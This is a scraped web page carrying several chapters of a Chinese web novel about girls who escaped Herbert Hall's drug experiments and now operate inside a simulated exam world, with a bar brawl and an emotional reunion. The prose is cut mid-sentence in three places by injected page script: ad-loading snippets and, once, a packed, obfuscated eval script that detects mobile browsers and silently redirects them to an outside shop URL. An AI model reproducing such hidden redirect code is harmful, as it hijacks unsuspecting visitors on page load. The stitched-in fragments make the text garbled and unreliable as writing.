门前的水泥地面有几滩不知名颜色的液体。少女神色严肃地跨了过去,推开陈旧斑驳的木门,一串风铃随着惯性晃动着。 和破烂的外表不同,酒吧的内部有些出乎意料的精致,吧台、卡座、走廊、舞池、卫生间,必要设施基本一应俱全。 复古格纹地砖带着些上世纪的格调,只不过再好看也耐不住上面躺满了横七竖八的人群,直接拉低了观感。 嬴欢嗅了嗅周围的空气,烟、酒、甚至还有大麻的味道,可以窥视到一些昨夜狂欢后的痕迹。 酒保大概是这里唯一清醒的人了,嬴欢跨过一个个“死尸”,来到酒保的面前。 “来杯威士忌酸。” 酒保正擦拭着手里的杯子,盯着少女看了几秒钟,“不好意思,我们不能给未成年人提供酒精。” 嬴欢垂了垂眼睛,心中疑惑,什么时候旧工业区里的人都这么有道德感了? 她坐上吧台前的高脚椅,望向宿醉的人群,一个个就像被浪花拍上沙滩的沙丁鱼,哪里像有情报小贩的样子? 就算是有,也大概率是大着舌头口齿不清的吧…… 突然,嬴欢心生一计。 她拿过台面上酒保刚擦好的玻璃杯,一个一个地通通往地上砸去,动作迅速而高效,没有丝毫犹豫。 几秒钟内,噼里啪啦的破碎声充斥着整个酒吧。 不少人从梦中惊醒过来,以为又是哪个帮派擦枪走火了,本能地寻找掩体躲避,动作狼狈不堪。 “谁是未成年,你眼睛瞎了吗!?”少女冲着酒保大喊,声如洪钟。 酒保一脸惊诧,两只眼球都快要从眼眶里跳出来了,“不是、你……” 嬴欢抱着臂,学着邬蘅平时的模样,掐着刻薄的嗓音:“闭上你那张狗嘴,本小姐叫你开口了吗!” 这几句尖锐的骂声把所有人都吓得一愣,她那趾高气昂的架势把死气沉沉的酒吧彻底敲碎。 每个人都像被强行灌了风油精似的,一整个醍醐灌顶、精神抖擞。 谁也不敢出声,只敢从沙发后露出几双眼睛,他们想看看到底是哪个大人物的作风这么高调,简直要堪比赫伯特·霍尔了! * 一般的情报贩卖都是在晚上12点钟,月黑风高,正适合干一些见不得人的交易。 显然易见,嬴欢已经错过了交易的绝佳时机,留给她的只有一群脑子半醒非醒的酒鬼。 但有句话说得好——人总得抱着一丝希望,万一走狗屎运了呢。 “你好,给我来杯威士忌,纯饮。” 嬴欢循着声音回头,是个长着络腮胡的男人。 察觉到少女的注视,他冲着她笑了笑,在身旁坐了下来。 她打量着这位不知哪儿冒出来的陌生人。 他一身雾棕色风衣,头上带着并不常见的黑圆帽,脸上围着一圈络腮胡,真正能看清的大概只有那块宽厚的下颌骨。 对方看起来没喝酒,神智清醒、动作端正,就这两点至少超过了这里百分之九十九的人。 两个人的位置不远也不近。 酒保把一杯威士忌酒递给他,一眼也不敢多看边上的嬴欢,拿着扫帚开始清扫地上的碎片。 嬴欢一只手撑着下巴,手指敲击着木制桌面,继续百无聊赖地等待着情报贩子找上门来。 忽然,一杯酒从右侧滑动过来。 嬴欢的指节停顿了几秒,不由得看了眼身旁的方向。 男人已经不见了。 座位上独留着两张钞票,价格正好是一杯威士忌酒。 嬴欢站起身在周围环望了一圈,确认那个络腮胡是真的离开了后,她缓缓坐回原位,把视线重新放在这杯一口未动的威士忌上。 任谁看都觉得很奇怪,一个男人点了一杯酒,把酒递给别人后竟然就消失了? 嬴欢端起酒杯,橙黄色的酒液在灯光下交相辉映,神情蓦然一顿。 杯子下方压着一张纸条。 她将纸条从杯底摘了下来,打开、阅读。 “6月25日。第七大道。餐馆。” 嬴欢扯了扯嘴角,字迹看起来很新,应该是刚写下没几分钟,上面甚至还有酒杯刮蹭的痕迹。 她转身看向酒保,“今天是几号?” 酒保吓了一跳,磕巴道:“6、6月22号。” 嬴欢点头,准备拿着纸条离开。 忽然,她似乎想起了什么。 她从口袋里拿出一摞价值不菲的百元大钞,走到酒保面前,全部塞进他前胸的口袋中。 “补偿。” 周围一阵吸气声。 酒保看见那一摞子钱刹那间变了脸色,不、不是!这些钱都足够点好几个男模玩一晚上了吧! 他受宠若惊地鞠躬,恨不得把头埋进玻璃碴子里面,“哪里哪里,您客气了!您看看还需要什么服务——” 嬴欢没什么表情,反正是从霍尔卧室里拿出来的,她花着又不心疼。 不过这人的脸变得可真快,原来这就是钱能带来的力量吗?嬴欢想着,缓缓摇了摇头:“谢谢,不过我要走了。” 她的声音很淡,仿佛随时会消散在空气中。 不过所谓的“阔绰”在这里是会引火上身的。很快,附近吸引来了一群不速之客。 “美女,认识一下呗。” “富婆妹妹看看我!” “要喝一杯吗?威士忌?白兰地?龙舌兰?” 一大群散发着酒臭的男人围了上来,一个个油光满面,胡子拉碴,简直看不出个人样。 嬴欢想绕开这些男人直接离开,但总有那么几个手欠的想要拦住她,甚至妄图直接上手。 “咔嚓。” 一个迅雷不及掩耳的过肩摔,震惊住了在场的所有人。 “我的胳膊!我的胳膊!”被卸掉肩膀的男人放声嚎叫,倒在地上痛苦地左右打滚。 少女一字不发,冷冷扫过每一个人。 他们脸上闪过一瞬间的一惊讶,但那情绪很快便消失,从而转变成了兴味。 “这位美女,你揍人就不对了……”一个总当老好人的男人站了出来。 “小姑娘还挺烈,练了多少年啊!”一个肌肉夸张的男人也站了出来。 当几个男人面对一个赤手空拳的女人时,哪怕他们互不相识,也会无比自然地自成帮派。 他们潜意识里就没把她当成一回事。 “……”她没说话。 一群男人开始哈哈大笑。 他们以少女为中心,自动地围成了一个严实的圈,有种要把她抽筋剥皮的意思。 酒保被挤在了最外面,他踮着脚放开嗓子,试图控制逐渐趋于严重的场面。 “保安!保安呢!”他冲着门口大喊。 然而穿着保安服的人早就睡死了过去,手边滚落着好几个酒瓶,鼾声如雷。 好歹嬴欢也算是他最大的金主,酒保咬了咬牙,拼尽全力地上前喝止这些人的行为,却被旁 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 边一个花臂男人故意绊倒。 男人冲着他用力踹了几脚,狠狠一啐:“小白脸,还不快给老子滚远点儿!” “呃——”他的呜咽声引来了更多人的拳打脚踢,个个恨不得把他的脸踢烂。 酒保那边吸引了不少火力,而被围在中间的嬴欢透过人群缝隙,清楚地看见了酒保鼻青脸肿的惨状。 他全力捂着脑袋,但还是避免不了被揍出酸水,鲜红的血从牙齿里流了出来,甚至不敢睁开眼睛。 “呦,原来现在的小姑娘就喜欢这种小白脸?”几个男人把她的视野挡得严严实实。 酒保接连不断的痛呼声让嬴欢皱了皱眉,而他们的话更是令人作呕,她淡淡笑着:“你们男人惯会自以为是。” 男人们对她这小模样不屑一顾,彼此间笑得开怀:“哎呀,瞧瞧把人家气得。来来来,让哥哥们给你消消气!” 几只脏手像无数只蛇头般滑过她的眼前,在接触到衣角的一刹那间,左腿迅猛一踢。 几个男人还没反应过来呢,眼前骤然一黑,紧接着便是钻心刺骨的疼痛,一直从脊椎往上攀爬。 “啊啊啊——” 惨叫声此起彼伏。 很多人都还没来得及看清她的动作,痛意就已经先一步升了上来。 短短几十秒后。 在场的男人有一个算一个,全部都开始倒地嚎叫,加上打滚的、梨花带雨的、飙高音的、喊妈妈爸爸的,整个酒吧乱得像一个大型猪圈。 这种精彩绝伦的场面恐怕世间鲜有,但嬴欢却没有什么心情欣赏。 她抽出桌子上的酒精湿巾擦了擦手,顺便把脚踩在最近的男人身上,认真擦了擦鞋底的灰。 四周的惨叫声不绝于耳,甚为吵闹。 将灰色的湿巾扔进垃圾桶,少女的余光恰好落在角落的酒保身上。 他一只眼睛肿成了一道缝,鼻血四处飙溅,身上的衬衫全是鞋印。 对视了几秒钟,嬴欢淡淡地移开视线,她转身推开酒吧的门,头也不回地离开。 酒吧重回宁静,只剩下摇滚乐继续播放着。 和最初一样,各种各样的人横七竖八地躺在地上,只不过这次多了些新鲜的血而已。 酒保瘸着腿慢慢地站了起来,口袋里的钞票撒落一地,他却再也无心去捡。 满室荒唐。 而她的背影,恰好给这场闹剧刻下了最浓烈的底色。 * 重返阳光之下,嬴欢不禁眯了眯眼睛,微风吹过身体,她忽而想起自己身上的外套还是李玉清的。 按照原来的路线回到加油站。 自己的车还停在8号位,幸好每个停留点位都有顶篷,一夜的雨并没有淋到它。 斐耀已经不见了踪影,大概是因为到了换班的时间,不想丢人现眼吧? 便利店已经换上了新的收银员,少女心情有些奇怪,她犹豫了一会儿,还是走了进去。 “您好,您需要点儿什么?”收银员姐姐很热情。 “可以把这个交给李玉清吗?”嬴欢缓缓将衣服递了过去。 收银员愣了愣,“这个——玉清姐刚才向经理打电话辞职了,我恐怕交不到她手上。” 嬴欢拿着衣服的手僵在空中,眼球缓慢地转了转,睫毛垂落。 直到半晌过后,她才终于抿唇笑了笑。 那是发自内心的笑。 “谢谢——” 收银员看着眼前有些奇怪的少女,她笑起来很舒服,让人觉得好似有暖风拂过。 “不用谢。”说完,也跟着笑了起来。 33. C-012(十三) 距离三人小队失联已经过去了两年,任务进度依旧为零。 模拟世界与真实世界的时间流速并不相同,在模拟世界里一年过去,外面的世界也不过就是一天而已。 根据克里斯军校惯例,考核时间仅有短短168小时(7天),也就说每个小队最多在模拟世界中能待七年,超过时间成绩将全数作废,这也成为了考核的难点之一。 邬家兄妹俩都是第一次参加真正的模拟考核,找反叛者什么的根本一窍不通,要是那个反叛者能够懂事点儿站到眼前立正挨打,说不定他们还更擅长一点儿。 出租屋内。 午日的阳光静静洒在亚麻布沙发上,带着白日的空虚与死寂,融合进了吸入肺里的每一缕空气。 沙发上的女孩儿略微动了动,抬起一只手遮挡住光线,“我好想吃小笼包啊,有没有好心人给我买一屉小笼包?” 那个红头发的家伙今天一就背着包出了门,在出租屋里的只剩下邬蘅、戚肆两个人。二人通常会对她的鬼哭狼嚎视而不见,果然这次也一样。 斐一然望着天花板,颓然地抓了抓自己那团苇草似的头发。 算了,从今天开始她就要自食其力! 她踩着拖鞋回到房间,找出衣柜里很久没再穿过的短袖和牛仔短裤,就连衣码都小了些。 艰难把它们套在身上,女孩儿仅拎着一只小挎包就出了门。 外面夏日正好。 斐一然已经很久没有踏足在阳光之下了,具体有多久……连她自己也记不清了。 女孩儿走在一排排年轻的梧桐树下,斑驳的树影尽数踩在脚底。走着走着,她的速度变得越来越慢,到后来,全靠被暖风一直向前托着走。 流动的风穿过每一缕发丝,她的脑袋向下低垂着,薄薄的汗水顺着皮肤流进衣襟内。 忽然,一滴晶莹的眼泪落在柏油路上,很快就被蒸发成丝丝水汽。她的脚步越来越沉重,每一步都带着无声的抽泣。 鸟儿在蓝天中疾行而过,她不禁昂起首来。 盛开的花、新生的草,一切都如此欣欣向荣──除了她自己。 这条路上几乎没有行人路过,仅有飞旋的树叶和各种车辆行驶而过的声音。斐一然不知道自己现在在哪里,只能凭着感觉闷头向前走。 她好像走了很远很远,远到连出租屋所在的公寓楼也看不见了。 胃部发出抗议的声响,她从来没有哪一刻如此想要进食。腿侧隐隐颤抖,灰白的唇瓣像干涸已久的河流。 厌食症与暴食症常常相伴相随,哪怕这两种病症的症状完全相反——狂暴的进食会带来呕吐,而呕吐又会再转化成对食物的厌恶,就这样一遍遍循环往复,痛不欲生。 这种时而天堂、时而地狱的感觉就像活在无尽的失控中,身体与灵魂同时脱离掌控,只剩下意识继续提着这具破烂的身体摇摇欲坠。 她靠着树干缓缓坐了下去。 * 斐一然并不是天生的乐天派,回想过去的十六年,她真是拼尽了所有力气才站在如今的阳光之下。 她出生在一个被外人习惯称作“贫民窟”的小村子里,母亲年轻时被家里胁迫和一个男人早早定了亲事,在贫穷的大山里生下了她。 母亲是个知书达理的人,喜欢阅读书籍、待人友善。可不知为什么,父亲、叔伯甚至是邻居们看上去都怎么不喜欢她,他们总是用一种看外人的眼神看着她们。 他们烧掉了母亲的书籍,态度极为坚决,哪怕女人跪下来磕头乞求也没有丝毫动摇。 自那天之后,母亲的精神状态一天比一天颓丧,像一朵即将凋零的白海棠。 斐一然出生没多久,那个名为“父亲”的男人因为夜里酗酒而活活淹死在了家门口的小池塘里。 于是,她刚出生就成了一个只有母亲的孩子。 这场变故让母女两人遭受越来越多的白眼与谩骂,每天都有无数双眼睛盯着她们,昼夜不休。 母亲被软禁在四方小院里,窗户钉上了木板,她只能靠着缝隙透进来的阳光给小斐一然念书——藏在床底的《寓言集》。 斐一然八岁时,母亲的精神已经濒临枯竭,她肉眼可见地衰老、消瘦,但那双眼睛却一天比一天亮。 终于,在某天的深夜里,女人在这场漫长的沉默中爆发了。 她背着小小的斐一然,跑出家门,跑出村子,一直跑进了无边无际的芦苇丛里。 然而,早早就有人发现了母女两人的动向,举着火把的村民们很快便找到了她们的位置。 在村民们的围堵下,母亲眼看逃跑无望,只好忍着心中的悲痛,选择将唯一的女儿藏进芦苇丛里,无比严厉地警告她不要出声。 而小斐一然只能躲在草丛眼睁睁看着他们拖拽着母亲远去。 年幼的孩子一路逃过村民们的眼线,跋涉山川、跨越鸿沟,心中活下去的欲望让她丝毫不敢停下脚步。她不分昼夜地赶路,一直向南逃到了边境线的附近。 她成为了一个流浪在边境的偷渡客,靠着倒卖一些货品、违禁药物等勉强生存。 成为偷渡客那几年里,女孩儿睡过桥洞、吃过剩饭、喝过雨水,条件恶劣得很,但她却觉得无比的自由。 然而好景不长,女孩儿遇见了名叫赫伯特·霍尔的家伙,他彻彻底底地改变了她的一生。 他早些年派人搜集许多无父无母的孤儿进行药物实验,斐一然也成为了其中之一。 她进入研究所的时间甚至比嬴欢、戚肆还要早得更多,大概是最早的那一批。 在第Ⅰ代药物实验中,她是唯一存活下来的实验体,在之后的无数代中,她也都成为了幸存的人。 两只手臂上狰狞的疤痕与针孔可以证明这一切。 她被那些研究人员称作“0号实验体”,意思是能够抵抗绝大部分的致命药效,成为无数次筛选后的幸存者。 * 斐一然还记得赫伯特·霍尔曾向她说过的话。 ——你的价值由我来估量。 ——但请尽管放心,我会开出合适的价格购买你的灵魂。 生命在他眼中如同草芥。 斐一然再也不愿回忆研究所中的那段日子──在那里,她们失去了自己的名字,只有无情的编号。 数不清的孩子被霍尔口中那所谓的“合适的价格”所诱惑,他们自愿成为了这场实验中的志愿者。由于几乎都是些来路不明的人,哪怕是警方也无法溯源他们的基本信息。 身边的人换了一批又一批。 她曾经也交到过几个要好的朋友,她们开朗、活泼,对生活充满热情与期待,可是到最后都消失在了斐一然的眼前。 日复一日,年复一年。 到头来仍然只剩下斐一然自己一个人,一如既往地坐在那块冰冷的地面上。 在嬴欢的到来之前,斐一然以为自己的一生都会活在那个狭小的实验室里,每天望着漫无边际的芦苇丛发呆,或者将钢制地板抠出个洞来。 如果不是灰发少女的挺身而出,那批孩子都将会成为欲望的陪葬品,而拯救他人的代价是——她自己。 每每想起那冰冷的仪器、闪着银光的针头、逼仄的地下室,还有压迫感极强的机械士兵,她都恨不得直接死在那场废墟里…… 女孩儿蹲在树荫下,望着蔚蓝无云的天空。风是热的,脸颊也是热的。 可是心脏很冷,嘴唇也很冷。 女孩儿痛苦地将脸颊埋在双手之间,泪水从指节缝隙滴落在地上,晕湿了一小块地面。 为什么命运要如此残酷?为什么死的不是自己?为什么要留下她一个人?为什么?为什么?为什么…… 无数的记忆碎片涌上心头,一遍遍重组、一遍遍打碎,直到成为压倒斐一然的最后一根稻草。 一道阴影遮挡住头顶刺眼的光芒,清凉几许,澄澈的声音就像流水般钻进了她的耳朵里:“这位小姐,想来一块橘子蛋糕吗?” “……”哪来的声音? 斐一然心头的迷雾散去了一些,一大片羞愤的红晕涌上脸颊。 完了完了,她这幅糗样全让陌生人看见了!什么橘子蛋糕,她才不喜欢呢! 斐一然埋着脑袋摇了摇脑袋,她根本没脸面抬起头来,也当然不知道面前的人笑得有多开心。 几只蝴蝶围绕在二人身旁,甚至有个小松鼠爬到了斐一然的头顶,她胡乱地挥着手,试图把这些小东西赶走。< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' /p> 如果赶不走的话,她就只能把自己埋进地里了,斐一然把自己缩得小小的,祈祷着眼前的人赶快离开。 四周安静了一瞬,斐一然以为人已经走了,心头突然有些怅然若失。 谁成想,就在短短几秒钟后,那道声音再次在耳旁响起,甚至更近了一点儿。 “没想到,实在没想到啊──你这么没心没肺的家伙竟然也学会哭了。” “谁哭了,我才没哭呢!” 斐一然猛然抬起头,完全没意识到眼前的人为何会知道她的名字。 “……” 时间静止了般。 砰,砰,砰── 斐一然感觉自己好像坠入了梦中,浑身轻飘飘的。 洁白的牙齿略微张开,差点儿磕到嘴唇,浅色的瞳孔骤然缩了一圈,未消失的泪花点缀其中。 一只棕褐色蛱蝶落在鼻头,女孩儿茫然地眨了眨眼皮,蝴蝶翅膀轻微地摆动了几下。 是梦吗?斐一然下意识将手搭在心口处,直到那里传来有规律的震动,她的心脏在清楚地告诉她── 真的,一切都是真的!她听到她的声音了。 少女一下子从树后跳了出来,坦然地朝她挥了挥手:“好久不见。” 蝴蝶惊飞。斐一然骤然站起身来,一把扑进少女的怀抱里。 她感受到了她的温度,皮肤温凉,带着一点儿橘子蛋糕的气味。 斐一然的手在她的脸颊上来回抚摸,一遍又一遍地确认她的存在,她真的不敢相信这一切! 就在两年前,她亲眼看见研究所的钢筋水泥连带一群机械体全部毁于一旦。变故就发生在一瞬之间,而就是这一瞬,成了她永恒的梦魇。 嬴欢,这个狡猾又无情的女人──又一次将她从梦魇中拯救出来。 她欺骗了她,而她甘之如饴。 * 二人在原地拥抱,谁也没开口,就这样静静地等待时间流淌。 嬴欢摸着她的头发,她知道这一刻对于眼前的女孩儿来说实在太迟了。 “是真的,这是真的……”斐一然紧紧用手扣住她的腰,脸颊靠在那只有力的肩膀上。 嬴欢不知道她的反应为什么会是这样的,难道是因为她“大变活人”实在太刺激了,把人都吓傻了吗? “放心,我是正儿八经的活人。”嬴欢一本正经地掐了下大腿,顿时浮现出一块紫红色的印记。 斐一然无比心疼地摸了摸那块儿新鲜的印记,紧接着便气冲冲拍了下嬴欢的脑门:“你竟然敢欺骗我的感情!” 斐一然现在的心情像坐过山车似的波荡起伏,她这两年中每一天都在后悔中度过,无数次怀疑过自己存在的意义。 她不知道现在的她应该是庆幸多一点,还是气愤更多一点。 两个女孩儿彼此面对面,她们站在宁静的绿色树影中,树叶与风共振,像一千只飞鸟的嘶鸣声。 * 二人一起坐在白桦树下,谁也没有说话,静静感受清风的回旋。 斐一然盯着那一块小小的、宛若橘子果冻的方形蛋糕,吭哧一下笑了出来。 其实嬴欢也没想到会在这里遇见她,这场相遇实在来得太过突然,让人来不及整理情绪。 “路上恰巧遇见一家甜品店,顺手买的,正好你应该还没吃饭吧?” 橙色的包装盒系着浅金的丝带,精致又漂亮。 只不过里面的蛋糕损坏了一个角,奶油蹭在透明的外壁上。中央插着一个彩虹笑脸,在烈阳下融化得歪歪斜斜。 斐一然心头的迷茫一扫而空,老天让她再次遇见少女,看来这是真正的天意——她们不该错过彼此。 “谢谢你。” 其实斐一然最不喜欢的水果就是橘子,又涩又苦又酸,偏偏它又是最便宜的水果,是她小时候唯一吃得起的水果。 童年的记忆中总是有橘子的身影,鲜艳的橙黄色成为阴霾中唯一的色彩,而当下,她又一次被一块橘子蛋糕所治愈。 橘子和嬴欢──明明是两种不相干的事物,却组成了她这辈子最难忘的瞬间。 眼泪在脸颊的两侧倏地滑落,斐一然用力捧住手里的蛋糕,想要牢牢记住它的模样。 34. C-012(十四) 她们在人行路上走了很久,嬴欢静静地听着女孩儿诉苦水。 “你不跟我回去吗?邬蘅还有戚肆他们见到你一定会很开心的!” 等斐一然忽而问出这一句时,少女并没有立即回答,像是在顾虑着什么。 这一幕被斐一然收入眼底,她拉着少女的手停了下来,眉头聚在一块儿:“你还有别的事做,对吗?” 她一直没有问嬴欢这些日子去了哪里、见了谁、开心还是不开心,她潜意识觉得即便是问了,少女也不见得会用真话回答她。 嬴欢看着女孩儿那对黑漆漆的眼眸,像琉璃般泛着光泽,她已经知道了斐一然的身世,却不知道该怎么面对她。 “我——我确实还有些事情要处理。” 斐一然肩膀一耸,拉长声音道:“你可以直接和我说的!我又不是什么小孩子,才不会演那些哭唧唧的戏码!” 只要见到她一面,知道她还好好活着,自己就已经很满足了。 “我、我……” 嬴欢摸着自己的后脑勺,有些手足无措,其实她很少对反叛者之外的人产生情绪,在人际交往这方面可以说是经验为0。 斐一然看得出她的窘迫,大大方方地放开少女的手,双手掐着腰:“好了好了,我也该回去了,反正——我们总会再见的。” 嬴欢顿了顿,确实没必要搞得这么伤感,毕竟074和斐一然也住在兄妹的出租屋里,她们以后也是低头不见抬头见的关系。 她站在原地,望着斐一然的身影,女孩儿背着阳光,一步步在马路上行走,二人的距离渐渐拉长。 然而,少女看不到斐一然是如何泪如雨下,也看不到她步伐中的颤抖,以及那几声细弱的“对不起”。 嬴欢总觉得哪里有些奇怪,但是又说不出来。 那小小的背影让她生出几分心悸。 来不及细细琢磨,嬴欢压下心头的疑惑,朝着相反的方向离去。 * 走着走着,嬴欢来到了一家偏僻的路边馆子前。 她回忆了一下纸条上的提示: 「第七大道。餐馆。」 合适的时间、合适的地点,一切指向的就是这里。 几张黝黑的面孔聚在桌子前划拳,嬴欢戴上口罩路过他们,直奔前台。 “老板,我预约了包间。” 老板是个矮小但挺壮的女人,看了眼来人,仔细盯着少女的脸辨认了一会儿,一边嗑着瓜子一边示意嬴欢跟上来。 她推开一道木门,门看上去有点儿老旧,发出“吱呀”一声。 嬴欢点头道谢,一直目送着女人扬长而去后,才慢悠悠地走进了包间。 里面传来一阵激烈的争吵声。 “你他爷爷的会不会玩?不会玩能不能把游戏卸了!” “还有这个辅助,你爹生你的时候没生眼睛吗?这么大一个人当着面站在草丛里你看不见?” 红毛少年一边嘴上疯狂输出,一边不动如山地操作。 以至于嬴欢都走到他背后了,少年也没发觉她的存在,依然骂骂咧咧地开着小话筒。 她站在原地观摩了一会儿,小小的手机屏幕里几个人物正在互相放技能,一会儿红屏一会儿又重新出现在泉水。 大概看了两分钟左右,嬴欢已经摸清了这游戏的套路,无疑就是攻击对方抢夺场内资源,一步步推掉防御塔,摧毁对方的基地。 对局来到十分钟。 “对方的打野位已经一分钟没露头了,Boss刚刚刷新,他们应该在下半区蹲防。”少女的嗓音像掺杂了丝丝火药。 她这一出声,给少年直接吓了个哆嗦,拇指蓦然一滑,屏幕中的人物直直奔进了敌方的怀抱。 几个光污染般的技能后,屏幕顿时变黑,进入复活倒计时。 “你什么时候来的,一点动静都没有!”邬涟弓着身子,脸上的薄热终于散去了一些。 “邬二少爷不是一直钟情机甲吗?怎么改玩手游了?”她的手臂搭在他的座椅靠背上,这破屋子里没有空调,热得人身上汗津津、黏糊糊的。 少年神情慵懒,头顶红毛微微翘起,眉峰绵延如群山,若是被其他人看见他这副模样,恐怕得安上个“纨绔子弟”的名号。 当然,嬴欢也是这么想的。 毕竟邬涟简直就是“人生投胎”的标准模板,身上几乎写满了“老子家大业大”这几个字,偏偏还没人敢反驳。 邬涟烦躁地点了点屏幕,“这叫入乡随俗……算了,我为什么要和你解释。” 袖子卷起,露出两只洁白的大臂,少年眉眼间多了几分认真。 倒计时结束,他重新开始操作起人物来。 嬴欢懒得管他,在对面的位置上坐好,拿起菜单仔细端详。 白斩鸡、油焖大虾、木耳炒黄瓜、西红柿煎蛋、蔬菜牛肉煲、茄香肉丝、红烧鲫鱼…… 啧,看着倒是好吃,可根本点不起啊! 他们此次任务身上现金为零,兄妹俩的出租屋租金全靠警局的补贴,而嬴欢自打从旧工业区那家地下酒吧出来后,身上几乎也是分文不剩。 嬴欢掐着下巴,早知道就该从霍尔那里多顺点儿钱带走了,这下好了,一个个全都等着喝西北风咯。 又是带着弟弟妹妹艰苦生存的一天啊! 游戏以胜利告终,红毛少年慢吞吞地打了个哈欠,抬头便看见少女愁眉苦脸的样子。 他倾着身子凑上前去看她在做什么,原来是在对着菜单挤眉弄眼呢。 “想吃东西?”邬涟拧了拧眉,嘴巴不自觉地向下一撇,“这种苍蝇小馆的食物真的安全卫生吗?” 嬴欢哪里愁的是这个,就连最便宜的苍蝇小馆他们都吃不起,怎么还好意思挑三拣四的? 邬涟拿出一张镶着花纹的白金卡,单只手递过去,“喏——”吃坏了肚子可别找他。 嬴欢那双灰蒙蒙的眼睛慢慢瞪大,瞠目结舌:“你哪来的信用卡?” “当然是我出门带的。”他含糊地回答道,眼神不自觉飘向窗外。 嬴欢从来没见过他这副样子,不仅心虚还故作深沉,一点儿也不像平日那般张扬跋扈。 她合上菜单与之对视。 “邬涟,你不会做了什么偷鸡摸狗的事情吧?” “你……” 少年一只手紧紧攥住木质桌面,红发气得轻轻颤抖,恨不得当场打开她的脑子看看里面都装得什么东西。 “……这张卡是我从某家公司的执行总裁那里要来的。”邬涟一字一句道,“你满意了?” 邬家的产业四通八达,全星际想巴结邬明仪的人多了去了。 见嬴欢还是一副怀疑的模样,邬涟不甚在意地仰着脑袋,恢复了往常的样子。 “怎么,我看起来信誉很低?” 邬家名下投资的公司实在多如牛毛,在一个陌生世界内想要找到有邬家注资的企业,那倒也不是什么难事。 “你知道你现在的身份不是邬家二少爷,只是个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13890405|141804||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 普通任务角色吧?”少女神色凝重。 “我当然知道——不能在模拟世界中暴露原世界的身份,否则会导致模拟世界运行异常,逻辑系统全面崩溃。” 他背完任务手册上的内容,接着向她说道,“但你看,我们现在不是好好的?” 少女无语凝噎。 邬涟从口袋里拿出一枚银制徽章,上面是一只盛放的紫色曼陀罗,花蕊由十颗一克拉的黄钻组成,在光线下闪烁着明艳的光泽。 众所周知,紫曼陀罗加上荆棘环绕是邬氏集团的商标,还是由年轻时的邬明仪亲自设计的,简约却不失格调。 这个logo在生活中几乎到处可见,涉及的相关领域众多,娱乐、医疗、饮食、购物、通勤……真正实现了什么叫闻名整片星系。 而这枚徽章则是一位老牌设计师的特别定制版,为了突显佩戴者的身份地位,她采用最珍贵最稀有的黄钻,进行高精度切割,保留最璀璨的一面。 嬴欢隐隐约约好像见过这小玩意,在邬明仪的西装上。选用相同的艺术处理方式,只不过一个是胸针,一个是圆形徽章罢了。 “这是什么?” “邬家的信物,没见过吧?”少年的眉眼间透出几分骄矜。 火红如焰火般的发丝在风的吹拂下微微扬起,他昂首一笑,嘴角咧开一道缝隙:“我把这小东西寄给了一家本地的上市公司,你猜怎么着,他直接在信封里塞了一张白金卡——” 嬴欢甚至来不及吐槽这位执行总裁的脑回路,她直接对邬涟沉下脸色: “你可以耍这些小心机,但有借就有还,我们不可能一辈子都靠别人来拯救。” 他看着她冷漠的模样,一下子发不出任何声音来。 他死死盯着嬴欢的眼睛,身体向前仰去:“姓嬴的,你在这儿给我装什么良善呢?” 他活了十八年什么样的人没见过,偏偏这个叫嬴欢的,不仅性格惹人讨厌,行为更是不寻常理,如今竟然还妄想管到他头上来! “你知不知道如果没有这笔钱,我们根本找不到你的踪迹!” 络腮胡男人是道上的情报高手,邬涟费了不少力气才找上他。 那男的要价不菲,但效率出奇的高,否则邬涟也不会这么痛快地把卡里将近八成的钱都转了出去。 但他没想到的是,这女人不仅不感恩戴德,竟还指着鼻子骂他! 他邬涟什么时候受过这种委屈! 鼻尖相对。 嬴欢清楚地看见他眼中的不屑,那是高高在上者对蝼蚁的蔑视。 他的本质与梅瑟·雪莱并无不同,只不过是以不同的方式呈现出来罢了。 “……”嬴欢靠在椅背上,不想多做解释,既然人家不领情,那她也没什么好说的。 两个人彼此看对方都不顺眼,场面陷入一阵沉默,只剩下白金卡安静躺在略显老旧的玻璃桌面上。 一个穿着破烂围裙的服务员拿着菜单走了进来,嗓音粗粝:“二位要吃点儿啥?” 嬴欢在脑海中盘点了一下自己的三位数存款,克制道:“一碗清汤面。” “这位小哥呢?”服务员在小本上写写画画,眼睛瞥向独自生闷气的红毛小子。 邬涟被突然凑过来的男人吓了一跳,尽量向后远离,面上嫌弃道:“和她一样。” 围裙男人临走前啐了一声,小声嘟囔:“一个个长得人模狗样,倒是够抠门的。” 小少爷咬着牙,狠狠捏碎了手里的一次性木筷。 35. C-012(十五) 嬴欢赶了赶屋子里的小蚊虫,打开窗户,外面日头正盛。 之所以小少爷会选择在这里会面,其一,这里的人员鱼龙混杂,不会有人注意到他们;其二,这家店地处偏僻的公路上,四周都是山林,如果有什么特殊情况发生也方便应对。 “来交换信息吧,你这些日子到底都去搜集什么了?”邬涟冷冷抱着臂。 嬴欢在正经事上一向认真,她坐在木椅里,“哗啦”一下,手套外侧的金属拉链往着两头拉开,里面装着一个小型U盘。 她随意将其向空中一抛,红毛少爷稳稳将它接住。 “赫伯特·霍尔的犯罪铁证。” 嬴欢算是这个世界里最了解霍尔的人了,他知道如何四两拨千斤,将自己的利益最大化,无论他真正想要的是什么,她都绝不能放任霍尔达成目的。 虽然C-012只是过去的投射,不会对现实中的他造成什么实质性的伤害,但她也要好好恶心一下那家伙,才对得起外面那些心惊胆战的群众们。 邬涟面色逐渐凝重,“你已经见到他了?”那个只存在于电视机中的家伙。 嬴欢点头,宛若嘲讽般的夸张道:“嗯,现在应该在ICU躺着呢。” “你确定霍尔就是反叛者了?” 她停顿,故作神秘道:“不,他不是反叛者。或者说,曾经是但现在不是了。” 